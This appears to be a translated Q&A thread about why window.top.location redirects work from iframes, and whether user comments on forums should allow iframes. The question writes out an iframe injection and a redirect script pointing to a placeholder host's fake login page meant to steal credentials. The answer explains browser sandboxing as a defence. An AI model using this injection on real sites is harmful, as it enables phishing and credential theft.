为什么" window.top.location"在iframe工作?

时间:2015-12-29 19:50:50

标签: javascript iframe

如果我可以在论坛评论中插入iframe,例如:

<iframe src="http://badwebsite.comm/xss.html"></iframe>

cat xss.html

<html>
    <head>
    <script>
        window.top.location = "http://badwebsite.comm/stolecred.html";
    </script>
    </head>
</html>

因此,当有人进入此论坛时,它将被重定向到http://badwebsite.comm/stolecred.html/

从这一点来说,stolecred.html可以是原始论坛登录页面的精确副本。

用户提供凭据后,http://badwebsite.comm/stolecred.html可以将其重定向到原始网站。

问题: 因此在论坛中允许iframe是一个非常大的安全问题?它不应该以任何方式被允许吗?为什么现代浏览器允许window.top.locationiframe中工作?

1 个答案:

答案 0 :(得分:0)

no 风险有限(只要浏览器中没有错误)。

如果您运行以下示例,则会在浏览器的JavaScript控制台中收到以下错误消息:

  

不安全的JavaScript尝试使用网址&#39; Why is "window.top.location" working in iframes?&#39;来启动框架导航。来自带有网址&#39; http://schneidr.de/misc/bad_redirect.html&#39;的框架。尝试导航顶层窗口的框架是沙箱,但是允许顶部导航&#39;标志未设置。

(来自Chrome的错误消息,其他浏览器中的措辞可能有所不同)

&#13;
&#13;
<iframe src="http://schneidr.de/misc/bad_redirect.html"></iframe>
&#13;
&#13;
&#13;

错误的原因是,浏览器不信任通过来自其他域的框架嵌入的JavaScript。因此,它会自动进行沙盒处理。

要允许在iframe中更改JavaScript,您需要设置sandbox=""属性,本示例为sandbox="allow-top-navigation"。因此,如果您在评论中允许使用iframe,则应至少在保存并显示之前过滤此属性。

如果你这样做,从安全的角度来看允许iframe是非常安全的。我个人不会在我管理的网站上允许它,因为我无法控制通过iframe显示的内容,这可能会给我带来法律麻烦。